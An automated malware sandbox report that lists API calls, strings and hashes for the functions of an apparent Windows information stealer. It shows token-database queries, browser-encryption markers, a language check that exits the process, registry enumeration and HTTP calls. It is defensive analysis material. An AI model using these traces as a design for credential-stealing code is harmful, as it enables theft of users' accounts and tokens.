Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: 81e398efcfbfc8fe05c3abd80452661048b9528cba03a89cf09ad618d51ebfe1
Instruction ID: 1db97c5984eaf975dbf010622291b68d8c4d82df198c84c91f10bdfb5a5a1c79
Opcode Fuzzy Hash: 81e398efcfbfc8fe05c3abd80452661048b9528cba03a89cf09ad618d51ebfe1
Instruction Fuzzy Hash: 8CB19671911108ABDB04FBA1DD52EEE7339AF14314F40452EF506B2091EF386E99CBBA

Function 00416770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,00416A26,00420AEF), ref: 00416774
ExitProcess.KERNEL32 ref: 004167A5
ExitProcess.KERNEL32 ref: 004167AF
ExitProcess.KERNEL32 ref: 004167B9
ExitProcess.KERNEL32 ref: 004167C3
ExitProcess.KERNEL32 ref: 004167CD

Strings

B, xrefs: 00416780, 0041678C

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: B
API String ID: 1494266314-2248957098
Opcode ID: 06d82b50bec3daad471bac9186370b40fc7c44d51d66305ede144e8412a302ef
Instruction ID: a53c6ee3ffce5caaac90cf9b44aa2343e9827e2133a721021c11305bfc7fe0eb
Opcode Fuzzy Hash: 06d82b50bec3daad471bac9186370b40fc7c44d51d66305ede144e8412a302ef
Instruction Fuzzy Hash: C2F03A38984209FFE3549FE0A90976C7B72FB06702F04019DF709862D0D6748A519B96

Function 00409E10 Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00410A60: memset.MSVCRT ref: 00410C1C
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C35
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

memcmp.MSVCRT(?,v10,00000003), ref: 00409EAF
memset.MSVCRT ref: 00409EE8
LocalAlloc.KERNEL32(00000040,?), ref: 00409F41

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00409E67
@, xrefs: 00409EF1
v10, xrefs: 00409EA3
v20, xrefs: 00409E21

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpymemcmpmemset$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 1977917189-1096346117
Opcode ID: 52aad43c17d0cbd30e11a3ec8f47cb803a99a369085b5cf2d06df9b2f190a506
Instruction ID: cfc602575c7eb8b90e75612a825b183f0a0020e5ceb1952e76b28d7f8d83ce04
Opcode Fuzzy Hash: 52aad43c17d0cbd30e11a3ec8f47cb803a99a369085b5cf2d06df9b2f190a506
Instruction Fuzzy Hash: C9615F30A00248EBCB24EFA5DD96FED7775AF44304F408029F90A6F1D1DB786A56CB5A

Function 040A7837 Relevance: 12.1, APIs: 8, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 040A7537: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 040A75A1
Part of subcall function 040A7537: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 040A7618
Part of subcall function 040A7537: StrStrA.SHLWAPI(00000000,004217EC,00000000), ref: 040A7674
Part of subcall function 040A7537: GetProcessHeap.KERNEL32(00000000,?), ref: 040A76B9
Part of subcall function 040A7537: HeapFree.KERNEL32(00000000), ref: 040A76C0

lstrcat.KERNEL32(0064A668,004217FC), ref: 040A786D
lstrcat.KERNEL32(0064A668,00000000), ref: 040A78AF
lstrcat.KERNEL32(0064A668,00421800), ref: 040A78C1
lstrcat.KERNEL32(0064A668,00000000), ref: 040A78F6
lstrcat.KERNEL32(0064A668,00421804), ref: 040A7907
lstrcat.KERNEL32(0064A668,00000000), ref: 040A793A
lstrcat.KERNEL32(0064A668,00421808), ref: 040A7954
task.LIBCPMTD ref: 040A7962

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID:
API String ID: 2677904052-0
Opcode ID: 9128ed74142edb21baca04feacde88044c17a1dba194879cafba99f4cf808b72
Instruction ID: 5e8a85f221a8fa5c75a95b332eba47c8899c5ad05a5124589d97c5045e68015f
Opcode Fuzzy Hash: 9128ed74142edb21baca04feacde88044c17a1dba194879cafba99f4cf808b72
Instruction Fuzzy Hash: AC317E76A40109EFDB08FBE0DC94DFE777AEB45309B10A018E102772A0DA35F946CB62

Function 040A5217 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 040A5231
RtlAllocateHeap.NTDLL(00000000), ref: 040A5238
InternetOpenA.WININET(00420DDF,00000000,00000000,00000000,00000000), ref: 040A5251
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 040A5278
InternetReadFile.WININET(?,?,00000400,00000000), ref: 040A52A8
memcpy.MSVCRT(00000000,?,00000001), ref: 040A52F1
InternetCloseHandle.WININET(?), ref: 040A5320
InternetCloseHandle.WININET(?), ref: 040A532D

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 115837f6574749958b6ecbcaee2c688be1f676679876c6a36d0e4ab8fe972489
Instruction ID: 31060879dc28ef6ec27d56d03e495b37c5c73ac1e3b943aa939aefcfd3d95bbd
Opcode Fuzzy Hash: 115837f6574749958b6ecbcaee2c688be1f676679876c6a36d0e4ab8fe972489
Instruction Fuzzy Hash: 7C31F7B8A40218ABDB20CF94DC85BDCB7B5FB48704F5081D9E609B7280D7746AC58F99

Function 00404FB0 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404FCA
HeapAlloc.KERNEL32(00000000), ref: 00404FD1
InternetOpenA.WININET(00420DDF,00000000,00000000,00000000,00000000), ref: 00404FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405011
InternetReadFile.WININET(00415EDB,?,00000400,00000000), ref: 00405041
memcpy.MSVCRT(00000000,?,00000001), ref: 0040508A
InternetCloseHandle.WININET(00415EDB), ref: 004050B9
InternetCloseHandle.WININET(?), ref: 004050C6

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocFileProcessReadmemcpy
String ID:
API String ID: 3894370878-0
Opcode ID: a56c18f6a8e036f8b5130d6e607b8bed7a49f8965ae2d7d0d74e6c8ccafdc211
Instruction ID: cb0899809939a0b3ab7ef321ba077ef70f04c27eec1e373fde9f1e9505320bf0
Opcode Fuzzy Hash: a56c18f6a8e036f8b5130d6e607b8bed7a49f8965ae2d7d0d74e6c8ccafdc211
Instruction Fuzzy Hash: 2A3108B8A40218ABDB20CF94DC85BDDB7B5EB48704F1081E9F709B7281C7746AC58F99

Function 040B5777 Relevance: 10.9, APIs: 7, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 040BAA87: lstrlen.KERNEL32(040A516C,?,?,040A516C,00420DDE), ref: 040BAA92
Part of subcall function 040BAA87: lstrcpy.KERNEL32(00420DDE,00000000), ref: 040BAAEC

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

StrCmpCA.SHLWAPI(00000000,004210C8,00000000), ref: 040B58AB
StrCmpCA.SHLWAPI(00000000,004210D0), ref: 040B5908
StrCmpCA.SHLWAPI(00000000,004210E0), ref: 040B5ABE

Part of subcall function 040BAA07: lstrcpy.KERNEL32(?,00000000), ref: 040BAA4D

Part of subcall function 040B5457: StrCmpCA.SHLWAPI(00000000,0042108C), ref: 040B548F

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

Part of subcall function 040B5527: StrCmpCA.SHLWAPI(00000000,0042109C,00000000), ref: 040B557F
Part of subcall function 040B5527: lstrlen.KERNEL32(00000000), ref: 040B5596
Part of subcall function 040B5527: StrStrA.SHLWAPI(00000000,00000000), ref: 040B55CB
Part of subcall function 040B5527: lstrlen.KERNEL32(00000000), ref: 040B55EA
Part of subcall function 040B5527: strtok.MSVCRT(00000000,?), ref: 040B5605
Part of subcall function 040B5527: lstrlen.KERNEL32(00000000), ref: 040B5615

StrCmpCA.SHLWAPI(00000000,004210D8,00000000), ref: 040B59F2
StrCmpCA.SHLWAPI(00000000,004210E8,00000000), ref: 040B5BA7
StrCmpCA.SHLWAPI(00000000,004210F0), ref: 040B5C73
Sleep.KERNEL32(0000EA60), ref: 040B5C82

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID:
API String ID: 3630751533-0
Opcode ID: db5533aa26391db7b09057ab882c831095ddfd6089117583eb43885adc9af707
Instruction ID: 2f314621cda67b337c6695084a39a19932e890f2953e2833ba96f6e604f4cca1
Opcode Fuzzy Hash: db5533aa26391db7b09057ab882c831095ddfd6089117583eb43885adc9af707
Instruction Fuzzy Hash: 7DE13171A00204ABEB18FBE0DD95DEE7379AF5520CF408168948676094EF797B08CFDA

Function 040A1577 Relevance: 10.6, APIs: 7, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 040A158E

Part of subcall function 040A1507: GetProcessHeap.KERNEL32(00000000,00000104), ref: 040A151B
Part of subcall function 040A1507: RtlAllocateHeap.NTDLL(00000000), ref: 040A1522
Part of subcall function 040A1507: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 040A153E
Part of subcall function 040A1507: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 040A155C
Part of subcall function 040A1507: RegCloseKey.ADVAPI32(?), ref: 040A1566

lstrcat.KERNEL32(?,00000000), ref: 040A15B6
lstrlen.KERNEL32(?), ref: 040A15C3
lstrcat.KERNEL32(?,004262E4), ref: 040A15DE

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

Part of subcall function 040B8DC7: GetSystemTime.KERNEL32(00420E1A,0064A2A4,004205AE,?,?,040A1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FB4,00420E17), ref: 040B8DED

Part of subcall function 040BAB87: lstrcpy.KERNEL32(00000000,?), ref: 040BABD9
Part of subcall function 040BAB87: lstrcat.KERNEL32(00000000), ref: 040BABE9

CopyFileA.KERNEL32(?,00000000,00000001), ref: 040A16CC

Part of subcall function 040BAA07: lstrcpy.KERNEL32(?,00000000), ref: 040BAA4D

Part of subcall function 040A9C27: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 040A9C53
Part of subcall function 040A9C27: GetFileSizeEx.KERNEL32(000000FF,?), ref: 040A9C78
Part of subcall function 040A9C27: LocalAlloc.KERNEL32(00000040,?), ref: 040A9C98
Part of subcall function 040A9C27: ReadFile.KERNEL32(000000FF,?,00000000,040A16F6,00000000), ref: 040A9CC1
Part of subcall function 040A9C27: LocalFree.KERNEL32(040A16F6), ref: 040A9CF7
Part of subcall function 040A9C27: CloseHandle.KERNEL32(000000FF), ref: 040A9D01

DeleteFileA.KERNEL32(00000000), ref: 040A1756
memset.MSVCRT ref: 040A177D

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlenmemset$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID:
API String ID: 3885987321-0
Opcode ID: 65992f5c161543344b7d7a67b9e28a0d0697389c6807308598fc34cd9fe59a0c
Instruction ID: d7259859b00212b3a75d41c104c823ec99fd80cac9787f23bc8a99ae053e1133
Opcode Fuzzy Hash: 65992f5c161543344b7d7a67b9e28a0d0697389c6807308598fc34cd9fe59a0c
Instruction Fuzzy Hash: 225163B1A502189BDB15FB60DD91EED737CAF54308F4041A8A64A72081EF347B89CFA9

Function 004183DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

RegQueryValueExA.ADVAPI32(00000000,024EBB88,00000000,000F003F,?,00000400), ref: 004184EC
lstrlenA.KERNEL32(?), ref: 00418501
RegQueryValueExA.ADVAPI32(00000000,024EBBA0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B34), ref: 00418599
RegCloseKey.ADVAPI32(00000000), ref: 00418608
RegCloseKey.ADVAPI32(00000000), ref: 0041861A

Strings

%s\%s, xrefs: 0041844D

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 31ba4a9b52ae66b65e43e00cd9c953ecc48c3f07dc5bf7da1f470b90c4e60b6b
Instruction ID: cdbcbf4b9f8a1ecee5159c9abe2ba9d8dffcfa3e02281556f53420590b8fae77
Opcode Fuzzy Hash: 31ba4a9b52ae66b65e43e00cd9c953ecc48c3f07dc5bf7da1f470b90c4e60b6b
Instruction Fuzzy Hash: 7B210A75940218AFDB24DB54DC85FE9B3B9FB48704F00C199E60996140DF756A85CFD4

Function 040A4A17 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 040A4A51
??2@YAPAXI@Z.MSVCRT(00000800), ref: 040A4A68
??2@YAPAXI@Z.MSVCRT(00000800), ref: 040A4A7F
lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 040A4AA0
InternetCrackUrlA.WININET(00000000,00000000), ref: 040A4AB0

Strings

<, xrefs: 040A4A30

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: c4016b40be7962ab96eee41e1f0a74c78e609d749f91f5b1f2864e454020d9f4
Instruction ID: afd3b67111c795beef8d20d78c200321665bb365290c42fa179b2b392ae3ba18
Opcode Fuzzy Hash: c4016b40be7962ab96eee41e1f0a74c78e609d749f91f5b1f2864e454020d9f4
Instruction Fuzzy Hash: 062158B5D00219ABDF10DFA4E848AED7B74FF04324F008229E965BB290EB706A15CF95

Function 040B78F7 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 040B790B
RtlAllocateHeap.NTDLL(00000000), ref: 040B7912
RegOpenKeyExA.ADVAPI32(80000002,0064A398,00000000,00020119,00000000), ref: 040B7944
RegQueryValueExA.ADVAPI32(00000000,0064A434,00000000,00000000,?,000000FF), ref: 040B7965
RegCloseKey.ADVAPI32(00000000), ref: 040B796F

Strings

Windows 11, xrefs: 040B7924

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction ID: effd7863d1bbf02604f2b498f62f1c3364e80d7716a07cc6e101e4791c592c54
Opcode Fuzzy Hash: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction Fuzzy Hash: E0014FBDA80204FFEB00DBE0DD49FADB7BDEB48705F005154FA45A7281D674A900CB95

Function 00417690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
HeapAlloc.KERNEL32(00000000), ref: 004176AB
RegOpenKeyExA.ADVAPI32(80000002,024BA4A0,00000000,00020119,00000000), ref: 004176DD
RegQueryValueExA.ADVAPI32(00000000,024EBA20,00000000,00000000,?,000000FF), ref: 004176FE
RegCloseKey.ADVAPI32(00000000), ref: 00417708

Strings

Windows 11, xrefs: 004176BD

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction ID: 0438ef7ee9a5fbee92b010be2e89678c99e6505f2a73f727aa840deaa157456b
Opcode Fuzzy Hash: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction Fuzzy Hash: E0018FBDA80204BFE700DBE0DD49FAEB7BDEB09700F004055FA05D7290E674A9408B55

Function 00417720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417734
HeapAlloc.KERNEL32(00000000), ref: 0041773B
RegOpenKeyExA.ADVAPI32(80000002,024BA4A0,00000000,00020119,004176B9), ref: 0041775B
RegQueryValueExA.ADVAPI32(004176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041777A
RegCloseKey.ADVAPI32(004176B9), ref: 00417784

Strings

CurrentBuildNumber, xrefs: 00417771

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction ID: 98fe8272c38af2577472084bebc30d651685970d5c5bfe2bd2220dad028592af
Opcode Fuzzy Hash: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction Fuzzy Hash: 0F0144BDA80308BFE710DFE0DC49FAEB7B9EB44704F104159FA05A7281DA7455408F51

Function 004192E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:A,80000000,00000003,00000000,00000003,00000080,00000000,?,00413AEE,?), ref: 004192FC
GetFileSizeEx.KERNEL32(000000FF,:A), ref: 00419319
CloseHandle.KERNEL32(000000FF), ref: 00419327

Strings

:A, xrefs: 004192F8, 004192FB
:A, xrefs: 00419311, 0041933D, 00419314

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :A$:A
API String ID: 1378416451-1974578005
Opcode ID: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction ID: 8914ec7bfe49e7fff428ea2f0c8e17c8fee3bdc60d16e88834f62bd89b6794de
Opcode Fuzzy Hash: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction Fuzzy Hash: 14F03C39E80208BBDB20DFF0DC59BDE77BAAB48710F108254FA61A72C0D6789A418B45

Function 040A7537 Relevance: 9.1, APIs: 6, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 040A75A1
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 040A7618
StrStrA.SHLWAPI(00000000,004217EC,00000000), ref: 040A7674
GetProcessHeap.KERNEL32(00000000,?), ref: 040A76B9
HeapFree.KERNEL32(00000000), ref: 040A76C0

Part of subcall function 040A94A7: vsprintf_s.MSVCRT ref: 040A94C2

task.LIBCPMTD ref: 040A77BC

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetaskvsprintf_s
String ID:
API String ID: 700816787-0
Opcode ID: 5434392e867cfe8b65d60c30634320f59bf744a663cfea390a94abfc30077dd7
Instruction ID: 08b26f71d29e7f90fb721eaca1df49751853e721d14ad5b4aa001a20a95b5fd7
Opcode Fuzzy Hash: 5434392e867cfe8b65d60c30634320f59bf744a663cfea390a94abfc30077dd7
Instruction Fuzzy Hash: A761DAB59001689BDB24DB90CC54FEDB7B8BF44308F0085E9E649A6140DBB0ABD5CF95

Function 040B5527 Relevance: 9.1, APIs: 6, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 040BAA07: lstrcpy.KERNEL32(?,00000000), ref: 040BAA4D

Part of subcall function 040A64E7: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 040A6548
Part of subcall function 040A64E7: StrCmpCA.SHLWAPI(?,0064A480), ref: 040A656A
Part of subcall function 040A64E7: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 040A659C
Part of subcall function 040A64E7: HttpOpenRequestA.WININET(00000000,00421A28,?,0064A2B4,00000000,00000000,00400100,00000000), ref: 040A65EC
Part of subcall function 040A64E7: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 040A6626
Part of subcall function 040A64E7: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 040A6638

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

StrCmpCA.SHLWAPI(00000000,0042109C,00000000), ref: 040B557F
lstrlen.KERNEL32(00000000), ref: 040B5596

Part of subcall function 040B9097: LocalAlloc.KERNEL32(00000040,-00000001), ref: 040B90B9

StrStrA.SHLWAPI(00000000,00000000), ref: 040B55CB
lstrlen.KERNEL32(00000000), ref: 040B55EA
strtok.MSVCRT(00000000,?), ref: 040B5605
lstrlen.KERNEL32(00000000), ref: 040B5615

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

